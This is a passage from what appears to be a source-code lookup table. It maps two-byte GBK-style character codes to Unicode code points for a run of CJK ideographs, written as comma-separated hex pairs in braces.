{0x84c9,0x84dc},{0xb6c0,0x84dd},{0x85c9,0x84de},{0xbbbc,0x84df},{0xf1dd,0x84e0},
{0x86c9,0x84e1},{0x87c9,0x84e2},{0xf7dd,0x84e3},{0x88c9,0x84e4},{0xf6dd,0x84e5},
{0xebdd,0x84e6},{0x89c9,0x84e7},{0x8ac9,0x84e8},{0x8bc9,0x84e9},{0x8cc9,0x84ea},
{0x8dc9,0x84eb},{0xeec5,0x84ec},{0x8ec9,0x84ed},{0x8fc9,0x84ee},{0x90c9,0x84ef},
{0xfbdd,0x84f0},{0x91c9,0x84f1},{0x92c9,0x84f2},{0x93c9,0x84f3},{0x94c9,0x84f4},
{0x95c9,0x84f5},{0x96c9,0x84f6},{0x97c9,0x84f7},{0x98c9,0x84f8},{0x99c9,0x84f9},
{0x9ac9,0x84fa},{0x9bc9,0x84fb},{0xa4de,0x84fc},{0x9cc9,0x84fd},{0x9dc9,0x84fe},
{0x9ec9,0x8500},{0x9fc9,0x8501},{0xa0c9,0x8502},{0x40ca,0x8503},{0x41ca,0x8504},
{0x42ca,0x8505},{0x43ca,0x8506},{0x44ca,0x8507},{0x45ca,0x8508},{0x46ca,0x8509},
{0x47ca,0x850a},{0x48ca,0x850b},{0xf8dd,0x850c},{0x49ca,0x850d},{0x4aca,0x850e},
{0x4bca,0x850f},{0x4cca,0x8510},{0xefc3,0x8511},{0x4dca,0x8512},{0xfbc2,0x8513},
{0x4eca,0x8514},{0x4fca,0x8515},{0x50ca,0x8516},{0xe1d5,0x8517},{0x51ca,0x8518},
{0x52ca,0x8519},{0xb5ce,0x851a},{0x53ca,0x851b},{0x54ca,0x851c},{0x55ca,0x851d},
{0x56ca,0x851e},{0xfddd,0x851f},{0x57ca,0x8520},{0xccb2,0x8521},{0x58ca,0x8522},
{0x59ca,0x8523},{0x5aca,0x8524},{0x5bca,0x8525},{0x5cca,0x8526},{0x5dca,0x8527},
{0x5eca,0x8528},{0x5fca,0x8529},{0x60ca,0x852a},{0xe8c4,0x852b},{0xdfca,0x852c},
{0x61ca,0x852d},{0x62ca,0x852e},{0x63ca,0x852f},{0x64ca,0x8530},{0x65ca,0x8531},
{0x66ca,0x8532},{0x67ca,0x8533},{0x68ca,0x8534},{0x69ca,0x8535},{0x6aca,0x8536},
{0xbec7,0x8537},{0xfadd,0x8538},{0xfcdd,0x8539},{0xfedd,0x853a},{0xa2de,0x853b},
{0xaab0,0x853c},{0xceb1,0x853d},{0x6bca,0x853e},{0x6cca,0x853f},{0x6dca,0x8540},
{0x6eca,0x8541},{0x6fca,0x8542},{0xacde,0x8543},{0x70ca,0x8544},{0x71ca,0x8545},
{0x72ca,0x8546},{0x73ca,0x8547},{0xa6de,0x8548},{0xb6bd,0x8549},{0xefc8,0x854a},
{0x74ca,0x854b},{0x75ca,0x854c},{0x76ca,0x854d},{0x77ca,0x854e},{0x78ca,0x854f},
{0x79ca,0x8550},{0x7aca,0x8551},{0x7bca,0x8552},{0x7cca,0x8553},{0x7dca,0x8554},
{0x7eca,0x8555},{0xa1de,0x8556},{0x80ca,0x8557},{0x81ca,0x8558},{0xa5de,0x8559},
{0x82ca,0x855a},{0x83ca,0x855b},{0x84ca,0x855c},{0x85ca,0x855d},{0xa9de,0x855e},
{0x86ca,0x855f},{0x87ca,0x8560},{0x88ca,0x8561},{0x89ca,0x8562},{0x8aca,0x8563},
{0xa8de,0x8564},{0x8bca,0x8565},{0x8cca,0x8566},{0x8dca,0x8567},{0xa7de,0x8568},
{0x8eca,0x8569},{0x8fca,0x856a},{0x90ca,0x856b},{0x91ca,0x856c},{0x92ca,0x856d},
{0x93ca,0x856e},{0x94ca,0x856f},{0x95ca,0x8570},{0x96ca,0x8571},{0xadde,0x8572},
{0x97ca,0x8573},{0xccd4,0x8574},{0x98ca,0x8575},{0x99ca,0x8576},{0x9aca,0x8577},
{0x9bca,0x8578},{0xb3de,0x8579},{0xaade,0x857a},{0xaede,0x857b},{0x9cca,0x857c},
{0x9dca,0x857d},{0xd9c0,0x857e},{0x9eca,0x857f},{0x9fca,0x8580},{0xa0ca,0x8581},
{0x40cb,0x8582},{0x41cb,0x8583},{0xa1b1,0x8584},{0xb6de,0x8585},{0x42cb,0x8586},
{0xb1de,0x8587},{0x43cb,0x8588},{0x44cb,0x8589},{0x45cb,0x858a},{0x46cb,0x858b},
{0x47cb,0x858c},{0x48cb,0x858d},{0x49cb,0x858e},{0xb2de,0x858f},{0x4acb,0x8590},
{0x4bcb,0x8591},{0x4ccb,0x8592},{0x4dcb,0x8593},{0x4ecb,0x8594},{0x4fcb,0x8595},
{0x50cb,0x8596},{0x51cb,0x8597},{0x52cb,0x8598},{0x53cb,0x8599},{0x54cb,0x859a},
{0xa6d1,0x859b},{0xb5de,0x859c},{0x55cb,0x859d},{0x56cb,0x859e},{0x57cb,0x859f},
{0x58cb,0x85a0},{0x59cb,0x85a1},{0x5acb,0x85a2},{0x5bcb,0x85a3},{0xafde,0x85a4},
{0x5ccb,0x85a5},{0x5dcb,0x85a6},{0x5ecb,0x85a7},{0xb0de,0x85a8},{0x5fcb,0x85a9},
{0xbdd0,0x85aa},{0x60cb,0x85ab},{0x61cb,0x85ac},{0x62cb,0x85ad},{0xb4de,0x85ae},
{0xedca,0x85af},{0xb9de,0x85b0},{0x63cb,0x85b1},{0x64cb,0x85b2},{0x65cb,0x85b3},
{0x66cb,0x85b4},{0x67cb,0x85b5},{0x68cb,0x85b6},{0xb8de,0x85b7},{0x69cb,0x85b8},
{0xb7de,0x85b9},{0x6acb,0x85ba},{0x6bcb,0x85bb},{0x6ccb,0x85bc},{0x6dcb,0x85bd},
{0x6ecb,0x85be},{0x6fcb,0x85bf},{0x70cb,0x85c0},{0xbbde,0x85c1},{0x71cb,0x85c2},
{0x72cb,0x85c3},{0x73cb,0x85c4},{0x74cb,0x85c5},{0x75cb,0x85c6},{0x76cb,0x85c7},
{0x77cb,0x85c8},{0xe5bd,0x85c9},{0x78cb,0x85ca},{0x79cb,0x85cb},{0x7acb,0x85cc},
{0x7bcb,0x85cd},{0x7ccb,0x85ce},{0xd8b2,0x85cf},{0xeac3,0x85d0},{0x7dcb,0x85d1},
{0x7ecb,0x85d2},{0xbade,0x85d3},{0x80cb,0x85d4},{0xbac5,0x85d5},{0x81cb,0x85d6},
{0x82cb,0x85d7},{0x83cb,0x85d8},{0x84cb,0x85d9},{0x85cb,0x85da},{0x86cb,0x85db},
{0xbcde,0x85dc},{0x87cb,0x85dd},{0x88cb,0x85de},{0x89cb,0x85df},{0x8acb,0x85e0},
{0x8bcb,0x85e1},{0x8ccb,0x85e2},{0x8dcb,0x85e3},{0xd9cc,0x85e4},{0x8ecb,0x85e5},
{0x8fcb,0x85e6},{0x90cb,0x85e7},{0x91cb,0x85e8},{0xaab7,0x85e9},{0x92cb,0x85ea},
{0x93cb,0x85eb},{0x94cb,0x85ec},{0x95cb,0x85ed},{0x96cb,0x85ee},{0x97cb,0x85ef},
{0x98cb,0x85f0},{0x99cb,0x85f1},{0x9acb,0x85f2},{0x9bcb,0x85f3},{0x9ccb,0x85f4},
{0x9dcb,0x85f5},{0x9ecb,0x85f6},{0x9fcb,0x85f7},{0xa0cb,0x85f8},{0x40cc,0x85f9},
{0x41cc,0x85fa},{0xe5d4,0x85fb},{0x42cc,0x85fc},{0x43cc,0x85fd},{0x44cc,0x85fe},
{0x45cc,0x8600},{0x46cc,0x8601},{0x47cc,0x8602},{0x48cc,0x8603},{0x49cc,0x8604},
{0xbfde,0x8605},{0x4acc,0x8606},{0x4bcc,0x8607},{0x4ccc,0x8608},{0x4dcc,0x8609},
{0x4ecc,0x860a},{0x4fcc,0x860b},{0x50cc,0x860c},{0x51cc,0x860d},{0x52cc,0x860e},
{0x53cc,0x860f},{0x54cc,0x8610},{0xa2c4,0x8611},{0x55cc,0x8612},{0x56cc,0x8613},
{0x57cc,0x8614},{0x58cc,0x8615},{0xc1de,0x8616},{0x59cc,0x8617},{0x5acc,0x8618},
{0x5bcc,0x8619},{0x5ccc,0x861a},{0x5dcc,0x861b},{0x5ecc,0x861c},{0x5fcc,0x861d},
{0x60cc,0x861e},{0x61cc,0x861f},{0x62cc,0x8620},{0x63cc,0x8621},{0x64cc,0x8622},
{0x65cc,0x8623},{0x66cc,0x8624},{0x67cc,0x8625},{0x68cc,0x8626},{0xbede,0x8627},
{0x69cc,0x8628},{0xc0de,0x8629},{0x6acc,0x862a},{0x6bcc,0x862b},{0x6ccc,0x862c},
{0x6dcc,0x862d},{0x6ecc,0x862e},{0x6fcc,0x862f},{0x70cc,0x8630},{0x71cc,0x8631},
{0x72cc,0x8632},{0x73cc,0x8633},{0x74cc,0x8634},{0x75cc,0x8635},{0x76cc,0x8636},
{0x77cc,0x8637},{0xbad5,0x8638},{0x78cc,0x8639},{0x79cc,0x863a},{0x7acc,0x863b},
{0xc2de,0x863c},{0x7bcc,0x863d},{0x7ccc,0x863e},{0x7dcc,0x863f},{0x7ecc,0x8640},
{0x80cc,0x8641},{0x81cc,0x8642},{0x82cc,0x8643},{0x83cc,0x8644},{0x84cc,0x8645},
{0x85cc,0x8646},{0x86cc,0x8647},{0x87cc,0x8648},{0x88cc,0x8649},{0x89cc,0x864a},
{0x8acc,0x864b},{0x8bcc,0x864c},{0xaef2,0x864d},{0xa2bb,0x864e},{0xb2c2,0x864f},
{0xb0c5,0x8650},{0xc7c2,0x8651},{0x8ccc,0x8652},{0x8dcc,0x8653},{0xaff2,0x8654},
{0x8ecc,0x8655},{0x8fcc,0x8656},{0x90cc,0x8657},{0x91cc,0x8658},{0x92cc,0x8659},
{0xe9d0,0x865a},{0x93cc,0x865b},{0x94cc,0x865c},{0x95cc,0x865d},{0xddd3,0x865e},
{0x96cc,0x865f},{0x97cc,0x8660},{0x98cc,0x8661},{0xbdeb,0x8662},{0x99cc,0x8663},
{0x9acc,0x8664},{0x9bcc,0x8665},{0x9ccc,0x8666},{0x9dcc,0x8667},{0x9ecc,0x8668},
{0x9fcc,0x8669},{0xa0cc,0x866a},{0xe6b3,0x866b},{0xb0f2,0x866c},{0x40cd,0x866d},
{0xb1f2,0x866e},{0x41cd,0x866f},{0x42cd,0x8670},{0xadca,0x8671},{0x43cd,0x8672},
{0x44cd,0x8673},{0x45cd,0x8674},{0x46cd,0x8675},{0x47cd,0x8676},{0x48cd,0x8677},
{0x49cd,0x8678},{0xe7ba,0x8679},{0xb3f2,0x867a},{0xb5f2,0x867b},{0xb4f2,0x867c},
{0xe4cb,0x867d},{0xbacf,0x867e},{0xb2f2,0x867f},{0xb4ca,0x8680},{0xcfd2,0x8681},
{0xecc2,0x8682},{0x4acd,0x8683},{0x4bcd,0x8684},{0x4ccd,0x8685},{0x4dcd,0x8686},
{0x4ecd,0x8687},{0x4fcd,0x8688},{0x50cd,0x8689},{0xc3ce,0x868a},{0xb8f2,0x868b},
{0xf6b0,0x868c},{0xb7f2,0x868d},{0x51cd,0x868e},{0x52cd,0x868f},{0x53cd,0x8690},
{0x54cd,0x8691},{0x55cd,0x8692},{0xbef2,0x8693},{0x56cd,0x8694},{0xcfb2,0x8695},
{0x57cd,0x8696},{0x58cd,0x8697},{0x59cd,0x8698},{0x5acd,0x8699},{0x5bcd,0x869a},
{0x5ccd,0x869b},{0xc1d1,0x869c},{0xbaf2,0x869d},{0x5dcd,0x869e},{0x5ecd,0x869f},
{0x5fcd,0x86a0},{0x60cd,0x86a1},{0x61cd,0x86a2},{0xbcf2,0x86a3},{0xe9d4,0x86a4},
{0x62cd,0x86a5},{0x63cd,0x86a6},{0xbbf2,0x86a7},{0xb6f2,0x86a8},{0xbff2,0x86a9},
{0xbdf2,0x86aa},{0x64cd,0x86ab},{0xb9f2,0x86ac},{0x65cd,0x86ad},{0x66cd,0x86ae},
{0xc7f2,0x86af},{0xc4f2,0x86b0},{0xc6f2,0x86b1},{0x67cd,0x86b2},{0x68cd,0x86b3},
{0xcaf2,0x86b4},{0xc2f2,0x86b5},{0xc0f2,0x86b6},{0x69cd,0x86b7},{0x6acd,0x86b8},
{0x6bcd,0x86b9},{0xc5f2,0x86ba},{0x6ccd,0x86bb},{0x6dcd,0x86bc},{0x6ecd,0x86bd},
{0x6fcd,0x86be},{0x70cd,0x86bf},{0xfbd6,0x86c0},{0x71cd,0x86c1},{0x72cd,0x86c2},
{0x73cd,0x86c3},{0xc1f2,0x86c4},{0x74cd,0x86c5},{0xf9c7,0x86c6},{0xdfc9,0x86c7},
{0x75cd,0x86c8},{0xc8f2,0x86c9},{0xc6b9,0x86ca},{0xb0b5,0x86cb},{0x76cd,0x86cc},
{0x77cd,0x86cd},{0xc3f2,0x86ce},{0xc9f2,0x86cf},{0xd0f2,0x86d0},{0xd6f2,0x86d1},
{0x78cd,0x86d2},{0x79cd,0x86d3},{0xd7bb,0x86d4},{0x7acd,0x86d5},{0x7bcd,0x86d6},
{0x7ccd,0x86d7},{0xd5f2,0x86d8},{0xdccd,0x86d9},{0x7dcd,0x86da},{0xebd6,0x86db},
{0x7ecd,0x86dc},{0x80cd,0x86dd},{0xd2f2,0x86de},{0xd4f2,0x86df},{0x81cd,0x86e0},
{0x82cd,0x86e1},{0x83cd,0x86e2},{0x84cd,0x86e3},{0xf2b8,0x86e4},{0x85cd,0x86e5},
{0x86cd,0x86e6},{0x87cd,0x86e7},{0x88cd,0x86e8},{0xcbf2,0x86e9},{0x89cd,0x86ea},
{0x8acd,0x86eb},{0x8bcd,0x86ec},{0xcef2,0x86ed},{0xf9c2,0x86ee},{0x8ccd,0x86ef},
{0xddd5,0x86f0},{0xccf2,0x86f1},{0xcdf2,0x86f2},{0xcff2,0x86f3},{0xd3f2,0x86f4},
{0x8dcd,0x86f5},{0x8ecd,0x86f6},{0x8fcd,0x86f7},{0xd9f2,0x86f8},{0xbcd3,0x86f9},
{0x90cd,0x86fa},{0x91cd,0x86fb},{0x92cd,0x86fc},{0x93cd,0x86fd},{0xeab6,0x86fe},
{0xf1ca,0x8700},{0x95cd,0x8701},{0xe4b7,0x8702},{0xd7f2,0x8703},{0x96cd,0x8704},
{0x97cd,0x8705},{0x98cd,0x8706},{0xd8f2,0x8707},{0xdaf2,0x8708},{0xddf2,0x8709},
{0xdbf2,0x870a},{0x99cd,0x870b},{0x9acd,0x870c},{0xdcf2,0x870d},{0x9bcd,0x870e},
{0x9ccd,0x870f},{0x9dcd,0x8710},{0x9ecd,0x8711},{0xd1d1,0x8712},{0xd1f2,0x8713},
{0x9fcd,0x8714},{0xc9cd,0x8715},{0xa0cd,0x8716},{0xcfce,0x8717},{0xa9d6,0x8718},
{0x40ce,0x8719},{0xe3f2,0x871a},{0x41ce,0x871b},{0xdbc3,0x871c},{0x42ce,0x871d},
{0xe0f2,0x871e},{0x43ce,0x871f},{0x44ce,0x8720},{0xafc0,0x8721},{0xecf2,0x8722},
{0xdef2,0x8723},{0x45ce,0x8724},{0xe1f2,0x8725},{0x46ce,0x8726},{0x47ce,0x8727},
{0x48ce,0x8728},{0xe8f2,0x8729},{0x49ce,0x872a},{0x4ace,0x872b},{0x4bce,0x872c},
{0x4cce,0x872d},{0xe2f2,0x872e},{0x4dce,0x872f},{0x4ece,0x8730},{0xe7f2,0x8731},
{0x4fce,0x8732},{0x50ce,0x8733},{0xe6f2,0x8734},{0x51ce,0x8735},{0x52ce,0x8736},
{0xe9f2,0x8737},{0x53ce,0x8738},{0x54ce,0x8739},{0x55ce,0x873a},{0xdff2,0x873b},
{0x56ce,0x873c},{0x57ce,0x873d},{0xe4f2,0x873e},{0xeaf2,0x873f},{0x58ce,0x8740},
{0x59ce,0x8741},{0x5ace,0x8742},{0x5bce,0x8743},{0x5cce,0x8744},{0x5dce,0x8745},
{0x5ece,0x8746},{0xacd3,0x8747},{0xe5f2,0x8748},{0xf5b2,0x8749},{0x5fce,0x874a},
{0x60ce,0x874b},{0xf2f2,0x874c},{0x61ce,0x874d},{0xabd0,0x874e},{0x62ce,0x874f},
{0x63ce,0x8750},{0x64ce,0x8751},{0x65ce,0x8752},{0xf5f2,0x8753},{0x66ce,0x8754},
{0x67ce,0x8755},{0x68ce,0x8756},{0xc8bb,0x8757},{0x69ce,0x8758},{0xf9f2,0x8759},
{0x6ace,0x875a},{0x6bce,0x875b},{0x6cce,0x875c},{0x6dce,0x875d},{0x6ece,0x875e},
{0x6fce,0x875f},{0xf0f2,0x8760},{0x70ce,0x8761},{0x71ce,0x8762},{0xf6f2,0x8763},
{0xf8f2,0x8764},{0xfaf2,0x8765},{0x72ce,0x8766},{0x73ce,0x8767},{0x74ce,0x8768},
{0x75ce,0x8769},{0x76ce,0x876a},{0x77ce,0x876b},{0x78ce,0x876c},{0x79ce,0x876d},
{0xf3f2,0x876e},{0x7ace,0x876f},{0xf1f2,0x8770},{0x7bce,0x8771},{0x7cce,0x8772},
{0x7dce,0x8773},{0xfbba,0x8774},{0x7ece,0x8775},{0xfbb5,0x8776},{0x80ce,0x8777},
{0x81ce,0x8778},{0x82ce,0x8779},{0x83ce,0x877a},{0xeff2,0x877b},{0xf7f2,0x877c},
{0xedf2,0x877d},{0xeef2,0x877e},{0x84ce,0x877f},{0x85ce,0x8780},{0x86ce,0x8781},
{0xebf2,0x8782},{0xa6f3,0x8783},{0x87ce,0x8784},{0xa3f3,0x8785},{0x88ce,0x8786},
{0x89ce,0x8787},{0xa2f3,0x8788},{0x8ace,0x8789},{0x8bce,0x878a},{0xf4f2,0x878b},
{0x8cce,0x878c},{0xdac8,0x878d},{0x8dce,0x878e},{0x8ece,0x878f},{0x8fce,0x8790},
{0x90ce,0x8791},{0x91ce,0x8792},{0xfbf2,0x8793},{0x92ce,0x8794},{0x93ce,0x8795},
{0x94ce,0x8796},{0xa5f3,0x8797},{0x95ce,0x8798},{0x96ce,0x8799},{0x97ce,0x879a},
{0x98ce,0x879b},{0x99ce,0x879c},{0x9ace,0x879d},{0x9bce,0x879e},{0xf8c3,0x879f},
{0x9cce,0x87a0},{0x9dce,0x87a1},{0x9ece,0x87a2},{0x9fce,0x87a3},{0xa0ce,0x87a4},
{0x40cf,0x87a5},{0x41cf,0x87a6},{0x42cf,0x87a7},{0xfdf2,0x87a8},{0x43cf,0x87a9},
{0x44cf,0x87aa},{0xa7f3,0x87ab},{0xa9f3,0x87ac},{0xa4f3,0x87ad},{0x45cf,0x87ae},
{0xfcf2,0x87af},{0x46cf,0x87b0},{0x47cf,0x87b1},{0x48cf,0x87b2},{0xabf3,0x87b3},
{0x49cf,0x87b4},{0xaaf3,0x87b5},{0x4acf,0x87b6},{0x4bcf,0x87b7},{0x4ccf,0x87b8},
{0x4dcf,0x87b9},{0xddc2,0x87ba},{0x4ecf,0x87bb},{0x4fcf,0x87bc},{0xaef3,0x87bd},
{0x50cf,0x87be},{0x51cf,0x87bf},{0xb0f3,0x87c0},{0x52cf,0x87c1},{0x53cf,0x87c2},
{0x54cf,0x87c3},{0x55cf,0x87c4},{0x56cf,0x87c5},{0xa1f3,0x87c6},{0x57cf,0x87c7},
{0x58cf,0x87c8},{0x59cf,0x87c9},{0xb1f3,0x87ca},{0xacf3,0x87cb},{0x5acf,0x87cc},
{0x5bcf,0x87cd},{0x5ccf,0x87ce},{0x5dcf,0x87cf},{0x5ecf,0x87d0},{0xaff3,0x87d1},
{0xfef2,0x87d2},{0xadf3,0x87d3},{0x5fcf,0x87d4},{0x60cf,0x87d5},{0x61cf,0x87d6},
{0x62cf,0x87d7},{0x63cf,0x87d8},{0x64cf,0x87d9},{0x65cf,0x87da},{0xb2f3,0x87db},
{0x66cf,0x87dc},{0x67cf,0x87dd},{0x68cf,0x87de},{0x69cf,0x87df},{0xb4f3,0x87e0},
{0x6acf,0x87e1},{0x6bcf,0x87e2},{0x6ccf,0x87e3},{0x6dcf,0x87e4},{0xa8f3,0x87e5},
{0x6ecf,0x87e6},{0x6fcf,0x87e7},{0x70cf,0x87e8},{0x71cf,0x87e9},{0xb3f3,0x87ea},
{0x72cf,0x87eb},{0x73cf,0x87ec},{0x74cf,0x87ed},{0xb5f3,0x87ee},{0x75cf,0x87ef},
{0x76cf,0x87f0},{0x77cf,0x87f1},{0x78cf,0x87f2},{0x79cf,0x87f3},{0x7acf,0x87f4},
{0x7bcf,0x87f5},{0x7ccf,0x87f6},{0x7dcf,0x87f7},{0x7ecf,0x87f8},{0xb7d0,0x87f9},
{0x80cf,0x87fa},{0x81cf,0x87fb},{0x82cf,0x87fc},{0x83cf,0x87fd},{0xb8f3,0x87fe},
{0x85cf,0x8800},{0x86cf,0x8801},{0x87cf,0x8802},{0xf9d9,0x8803},{0x88cf,0x8804},
{0x89cf,0x8805},{0x8acf,0x8806},{0x8bcf,0x8807},{0x8ccf,0x8808},{0x8dcf,0x8809},
{0xb9f3,0x880a},{0x8ecf,0x880b},{0x8fcf,0x880c},{0x90cf,0x880d},{0x91cf,0x880e},
{0x92cf,0x880f},{0x93cf,0x8810},{0x94cf,0x8811},{0x95cf,0x8812},{0xb7f3,0x8813},
{0x96cf,0x8814},{0xe4c8,0x8815},{0xb6f3,0x8816},{0x97cf,0x8817},{0x98cf,0x8818},
{0x99cf,0x8819},{0x9acf,0x881a},{0xbaf3,0x881b},{0x9bcf,0x881c},{0x9ccf,0x881d},
{0x9dcf,0x881e},{0x9ecf,0x881f},{0x9fcf,0x8820},{0xbbf3,0x8821},{0xc0b4,0x8822},
{0xa0cf,0x8823},{0x40d0,0x8824},{0x41d0,0x8825},{0x42d0,0x8826},{0x43d0,0x8827},
{0x44d0,0x8828},{0x45d0,0x8829},{0x46d0,0x882a},{0x47d0,0x882b},{0x48d0,0x882c},
{0x49d0,0x882d},{0x4ad0,0x882e},{0x4bd0,0x882f},{0x4cd0,0x8830},{0x4dd0,0x8831},
{0xc3ee,0x8832},{0x4ed0,0x8833},{0x4fd0,0x8834},{0x50d0,0x8835},{0x51d0,0x8836},
{0x52d0,0x8837},{0x53d0,0x8838},{0xbcf3,0x8839},{0x54d0,0x883a},{0x55d0,0x883b},
{0xbdf3,0x883c},{0x56d0,0x883d},{0x57d0,0x883e},{0x58d0,0x883f},{0xaad1,0x8840},
{0x59d0,0x8841},{0x5ad0,0x8842},{0x5bd0,0x8843},{0xacf4,0x8844},{0xc6d0,0x8845},
{0x5cd0,0x8846},{0x5dd0,0x8847},{0x5ed0,0x8848},{0x5fd0,0x8849},{0x60d0,0x884a},
{0x61d0,0x884b},{0xd0d0,0x884c},{0xdcd1,0x884d},{0x62d0,0x884e},{0x63d0,0x884f},
{0x64d0,0x8850},{0x65d0,0x8851},{0x66d0,0x8852},{0x67d0,0x8853},{0xcecf,0x8854},
{0x68d0,0x8855},{0x69d0,0x8856},{0xd6bd,0x8857},{0x6ad0,0x8858},{0xc3d1,0x8859},
{0x6bd0,0x885a},{0x6cd0,0x885b},{0x6dd0,0x885c},{0x6ed0,0x885d},{0x6fd0,0x885e},
{0x70d0,0x885f},{0x71d0,0x8860},{0xe2ba,0x8861},{0xe9e1,0x8862},{0xc2d2,0x8863},
{0xc2f1,0x8864},{0xb9b2,0x8865},{0x72d0,0x8866},{0x73d0,0x8867},{0xedb1,0x8868},
{0xc3f1,0x8869},{0x74d0,0x886a},{0xc0c9,0x886b},{0xc4b3,0x886c},{0x75d0,0x886d},
{0xf2d9,0x886e},{0x76d0,0x886f},{0xa5cb,0x8870},{0x77d0,0x8871},{0xc4f1,0x8872},
{0x78d0,0x8873},{0x79d0,0x8874},{0x7ad0,0x8875},{0x7bd0,0x8876},{0xd4d6,0x8877},
{0x7cd0,0x8878},{0x7dd0,0x8879},{0x7ed0,0x887a},{0x80d0,0x887b},{0x81d0,0x887c},
{0xc5f1,0x887d},{0xc0f4,0x887e},{0xc6f1,0x887f},{0x82d0,0x8880},{0xacd4,0x8881},
{0xc7f1,0x8882},{0x83d0,0x8883},{0xc0b0,0x8884},{0xc1f4,0x8885},{0x84d0,0x8886},
{0x85d0,0x8887},{0xc2f4,0x8888},{0x86d0,0x8889},{0x87d0,0x888a},{0xfcb4,0x888b},
{0x88d0,0x888c},{0xdbc5,0x888d},{0x89d0,0x888e},{0x8ad0,0x888f},{0x8bd0,0x8890},
{0x8cd0,0x8891},{0xbbcc,0x8892},{0x8dd0,0x8893},{0x8ed0,0x8894},{0x8fd0,0x8895},
{0xe4d0,0x8896},{0x90d0,0x8897},{0x91d0,0x8898},{0x92d0,0x8899},{0x93d0,0x889a},
{0x94d0,0x889b},{0xe0cd,0x889c},{0x95d0,0x889d},{0x96d0,0x889e},{0x97d0,0x889f},
{0x98d0,0x88a0},{0x99d0,0x88a1},{0xc8f1,0x88a2},{0x9ad0,0x88a3},{0xf3d9,0x88a4},
{0x9bd0,0x88a5},{0x9cd0,0x88a6},{0x9dd0,0x88a7},{0x9ed0,0x88a8},{0x9fd0,0x88a9},
{0xa0d0,0x88aa},{0xbbb1,0x88ab},{0x40d1,0x88ac},{0xaecf,0x88ad},{0x41d1,0x88ae},
{0x42d1,0x88af},{0x43d1,0x88b0},{0xa4b8,0x88b1},{0x44d1,0x88b2},{0x45d1,0x88b3},
{0x46d1,0x88b4},{0x47d1,0x88b5},{0x48d1,0x88b6},{0xcaf1,0x88b7},{0x49d1,0x88b8},
{0x4ad1,0x88b9},{0x4bd1,0x88ba},{0x4cd1,0x88bb},{0xcbf1,0x88bc},{0x4dd1,0x88bd},
{0x4ed1,0x88be},{0x4fd1,0x88bf},{0x50d1,0x88c0},{0xc3b2,0x88c1},{0xd1c1,0x88c2},
{0x51d1,0x88c3},{0x52d1,0x88c4},{0xb0d7,0x88c5},{0xc9f1,0x88c6},{0x53d1,0x88c7},
{0x54d1,0x88c8},{0xccf1,0x88c9},{0x55d1,0x88ca},{0x56d1,0x88cb},{0x57d1,0x88cc},
{0x58d1,0x88cd},{0xcef1,0x88ce},{0x59d1,0x88cf},{0x5ad1,0x88d0},{0x5bd1,0x88d1},
{0xf6d9,0x88d2},{0x5cd1,0x88d3},{0xe1d2,0x88d4},{0xa3d4,0x88d5},{0x5dd1,0x88d6},
{0x5ed1,0x88d7},{0xc3f4,0x88d8},{0xb9c8,0x88d9},{0x5fd1,0x88da},{0x60d1,0x88db},
{0x61d1,0x88dc},{0x62d1,0x88dd},{0x63d1,0x88de},{0xc4f4,0x88df},{0x64d1,0x88e0},
{0x65d1,0x88e1},{0xcdf1,0x88e2},{0xcff1,0x88e3},{0xe3bf,0x88e4},{0xd0f1,0x88e5},
{0x66d1,0x88e6},{0x67d1,0x88e7},{0xd4f1,0x88e8},{0x68d1,0x88e9},{0x69d1,0x88ea},
{0x6ad1,0x88eb},{0x6bd1,0x88ec},{0x6cd1,0x88ed},{0x6dd1,0x88ee},{0x6ed1,0x88ef},
{0xd6f1,0x88f0},{0xd1f1,0x88f1},{0x6fd1,0x88f2},{0xd1c9,0x88f3},{0xe1c5,0x88f4},
{0x70d1,0x88f5},{0x71d1,0x88f6},{0x72d1,0x88f7},{0xe3c2,0x88f8},{0xfcb9,0x88f9},
{0x73d1,0x88fa},{0x74d1,0x88fb},{0xd3f1,0x88fc},{0x75d1,0x88fd},{0xd5f1,0x88fe},
{0x77d1,0x8900},{0x78d1,0x8901},{0xd3b9,0x8902},{0x79d1,0x8903},{0x7ad1,0x8904},
{0x7bd1,0x8905},{0x7cd1,0x8906},{0x7dd1,0x8907},{0x7ed1,0x8908},{0x80d1,0x8909},
{0xdbf1,0x890a},{0x81d1,0x890b},{0x82d1,0x890c},{0x83d1,0x890d},{0x84d1,0x890e},
{0x85d1,0x890f},{0xd6ba,0x8910},{0x86d1,0x8911},{0xfdb0,0x8912},{0xd9f1,0x8913},
{0x87d1,0x8914},{0x88d1,0x8915},{0x89d1,0x8916},{0x8ad1,0x8917},{0x8bd1,0x8918},
{0xd8f1,0x8919},{0xd2f1,0x891a},{0xdaf1,0x891b},{0x8cd1,0x891c},{0x8dd1,0x891d},
{0x8ed1,0x891e},{0x8fd1,0x891f},{0x90d1,0x8920},{0xd7f1,0x8921},{0x91d1,0x8922},
{0x92d1,0x8923},{0x93d1,0x8924},{0xecc8,0x8925},{0x94d1,0x8926},{0x95d1,0x8927},
{0x96d1,0x8928},{0x97d1,0x8929},{0xcacd,0x892a},{0xddf1,0x892b},{0x98d1,0x892c},
{0x99d1,0x892d},{0x9ad1,0x892e},{0x9bd1,0x892f},{0xbde5,0x8930},{0x9cd1,0x8931},
{0x9dd1,0x8932},{0x9ed1,0x8933},{0xdcf1,0x8934},{0x9fd1,0x8935},{0xdef1,0x8936},
{0xa0d1,0x8937},{0x40d2,0x8938},{0x41d2,0x8939},{0x42d2,0x893a},{0x43d2,0x893b},
{0x44d2,0x893c},{0x45d2,0x893d},{0x46d2,0x893e},{0x47d2,0x893f},{0x48d2,0x8940},
{0xdff1,0x8941},{0x49d2,0x8942},{0x4ad2,0x8943},{0xe5cf,0x8944},{0x4bd2,0x8945},
{0x4cd2,0x8946},{0x4dd2,0x8947},{0x4ed2,0x8948},{0x4fd2,0x8949},{0x50d2,0x894a},
{0x51d2,0x894b},{0x52d2,0x894c},{0x53d2,0x894d},{0x54d2,0x894e},{0x55d2,0x894f},
{0x56d2,0x8950},{0x57d2,0x8951},{0x58d2,0x8952},{0x59d2,0x8953},{0x5ad2,0x8954},
{0x5bd2,0x8955},{0x5cd2,0x8956},{0x5dd2,0x8957},{0x5ed2,0x8958},{0x5fd2,0x8959},
{0x60d2,0x895a},{0x61d2,0x895b},{0x62d2,0x895c},{0x63d2,0x895d},{0xc5f4,0x895e},
{0xf3bd,0x895f},{0x64d2,0x8960},{0x65d2,0x8961},{0x66d2,0x8962},{0x67d2,0x8963},
{0x68d2,0x8964},{0x69d2,0x8965},{0xe0f1,0x8966},{0x6ad2,0x8967},{0x6bd2,0x8968},
